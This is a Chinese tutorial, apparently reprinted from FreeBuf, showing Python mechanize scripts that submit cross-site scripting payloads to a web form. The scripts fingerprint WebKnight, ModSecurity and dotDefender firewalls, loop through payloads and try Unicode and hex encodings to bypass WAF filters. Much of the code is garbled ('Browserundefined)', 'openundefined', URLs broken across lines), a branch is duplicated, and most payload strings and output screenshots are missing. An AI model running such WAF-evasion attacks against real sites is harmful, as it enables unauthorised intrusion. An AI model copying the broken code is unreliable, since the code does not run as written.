黑客用Python：检测并绕过Web应用程序防火墙

来自：FreeBuf.COM，*参考来源：kalitutorials， secist 编译

http://www.freebuf.com/articles/web/138589.htm

Web应用防火墙通常会被部署在Web客户端与Web服务器之间，以过滤来自服务器的恶意流量。而作为一名渗透测试人员，想要更好的突破目标系统，就必须要了解目标系统的WAF规则。如今，许多WAF都是基于签名的。下图简单描绘了一个Web应用防火墙的工作流程：

什么是基于签名的防火墙？

在基于签名的防火墙中你可以自定义签名，如果你知道某种网络攻击遵循某种类型的模式或签名。那么你就可以定义匹配模式过滤掉它们，例如：

Payload:- 

上面定义的是一种常见的XSS payload，我们知道所有这类攻击都可能包含- >“

为了检测防火墙的存在与否，第二步我们需要创建一个会被防火墙阻止的恶意跨站脚本请求。这里我将用到一个名为“Mechanize”的python模块.

Automate Cross Site Scripting (XSS) attack using Beautiful Soup and Mechanize

如果你已经了解了Mechanize模块，可以跳过此文章的阅读。现在，我们就可以对任意页面提供的Web表单发起请求了。实现代码如下：

import mechanize as mec
maliciousRequest = mec.Browser()
formName = 'waf'
maliciousRequest.open("http://check.cyberpersons.com/crossSiteCheck.
html")
maliciousRequest.select_form(formName)

让我来简单解释下这几行代码的用意：

1. 在第一行代码，我们首先导入了mechanize模块，并给它了一个简称’mec’以便我们后续使用。

2. 要想使用mechanize下载网页，我们需要实例化浏览器。因此在第二行代码中，我们实例化了浏览器。

3. 在步骤1中我们定义了我们的HTML文档，其中表单名称为“waf”。因此在第三行代码中，我们需要告诉mechanize要选择以此命名的表单进行提交，所以formName变量为‘waf’。

4. 第四行代码就是打开目标URL地址，并提交我们的数据。

5. 最后我们使用’select_form()’函数传递’formName’变量。

在以上的HTML文档中，我们只定义了一个表单输入字段，我们将利用该字段注入我们的恶意payload，并通过检查http响应信息来判断目标是否部署了Web应用防火墙。

步骤3：准备payload

在HTML文档中我们定义了一个名为’data’的输入字段：

input type="text" name="data">

因此，我们可以使用以下代码来提交我们的payload：

crossSiteScriptingPayLoad = "
"maliciousRequest.form['data'] = crossSiteScriptingPayLoad

1. 第一行代码我们首先将payload赋给了变量

   ‘crossSiteScriptingPayLoad’。

2. 第二行代码我们将payload提交给了表单字段“data”。

步骤4：提交表单并记录响应

下面我们提交此表单并记录响应信息：

maliciousRequest.submit()

response = maliciousRequest.response().read()

print response

1. 提交表单

2. 将响应赋给变量。

3. 将将响应信息打印出来。

由于我目前并未安装部署防火墙，所以我得到了如下响应：

可以看到payload被打印在了HTML文档中，这也说明应用程序代码中没有任何的过滤机制，并且由于没有防火墙的保护，我们的恶意请求也未被阻止。

步骤5：防火墙部署检测

变量’response’中包含了从服务器获取的响应信息，也是我们判断目标环境是否部署防火墙的重要依据。下面，我们将针对以下几款防火墙进行检测。

1. WebKnight

2. Mod_Security

3. Dot Defender

看看我们如何用python代码实现检测：

if response.find('WebKnight') >= 0:
       print "Firewall detected: WebKnight"
elif response.find('Mod_Security') >= 0:
      print "Firewall detected: Mod Security"
elif response.find('Mod_Security') >= 0:
      print "Firewall detected: Mod Security"
elif response.find('dotDefender') >= 0:
      print "Firewall detected: Dot Defender"
else:
      print "No Firewall Present"

这段代码首先我们对WebKnight的防火墙做了判断。如果目标环境安装了WebKnight，那么在我们的响应中将包含字符串“WebKnight”，并且find函数的返回值也将会大于0。同样，对于另外两个防火墙亦是如此。

当然我们还可以继续扩展我们的python脚本，用以检测更多的防火墙类型，但前提是必须了解这些防火墙的基本响应特征。

使用暴力测试攻击绕过防火墙过滤器

在文章开头我就说过，如今的大多数防护墙都是基于签名来过滤我们的请求流量的。但是，这并不意味着我们就拿它没办法了。随着Javascript的日趋复杂，我们可以用它来构建数千种的payload并逐一进行尝试，以绕过防火墙的检测。需要说明的是如果防护墙规则被明确定义，那么该方法可能会失效。下面让我们使用python脚本，来帮助我们完成暴力测试攻击：

listofPayloads = ['

Close me!<
/form>
', '
1)', '>CLICK ME']
for payLoads in listofPayloads:
    maliciousRequest = mec.Browserundefined)
    formName = 'waf'
    maliciousRequest.openundefined"http://check.cyberpersons.com/cross
SiteCheck.html")
    maliciousRequest.select_formundefinedformName)
    maliciousRequest.form['data'] = payLoads
    maliciousRequest.submitundefined)
    response = maliciousRequest.responseundefined).readundefined)
    if response.findundefined'WebKnight') >= 0:
        print "Firewall detected: WebKnight"
    elif response.findundefined'Mod_Security') >= 0:
        print "Firewall detected: Mod Security"
    elif response.findundefined'Mod_Security') >= 0:
        print "Firewall detected: Mod Security"
    elif response.findundefined'dotDefender') >= 0:
        print "Firewall detected: Dot Defender"
    else:
        print "No Firewall Present"

1. 在第一行代码中，我们定义了3个payload的列表，你还可以根据需求添加更多的payload扩展此列表。

2. 接着在for循环中，我们进行了之前所做相同判断过程，但这一次我们需要对应列表中的每个payload。

3. 收到响应后，我们可以再次确认防火墙是否真的存在。

由于我并未安装部署防火墙，所以我得到了如下响应：

将HTML标签转换为Unicode或Hex实体

如果防火墙正在过滤html标签，如<，>。我们则可以尝试将这些实体进行Unicode或Hex转码再进行发送，如果被转化为原始形式，那么这也将成为我们的一个突破口。我们可以使用以下代码进行判断：

listofPayloads = ['','\u003cb\u003e','\x3cb\x3e']
for payLoads in listofPayloads:
     maliciousRequest = mec.Browser()
     formName = 'waf'
     maliciousRequest.open("http://check.cyberpersons.com/crossSite
Check.html")
     maliciousRequest.select_form(formName)
     maliciousRequest.form['data'] = payLoads
     maliciousRequest.submit()
     response = maliciousRequest.response().read()
     print "---------------------------------------------------"
     print response
     print "---------------------------------------------------"

我的输出结果如下：

从结果可以看到，并没有编码的条目被转换为其原始格式。

总结

通过本文的介绍，相信大家已经对防火墙有了一个基本的了解和认识。作为一名安全测试人员，了解和掌握防火墙的工作机制是非常必要的。而对于企业而言，更不能忽视了安全的重要性。

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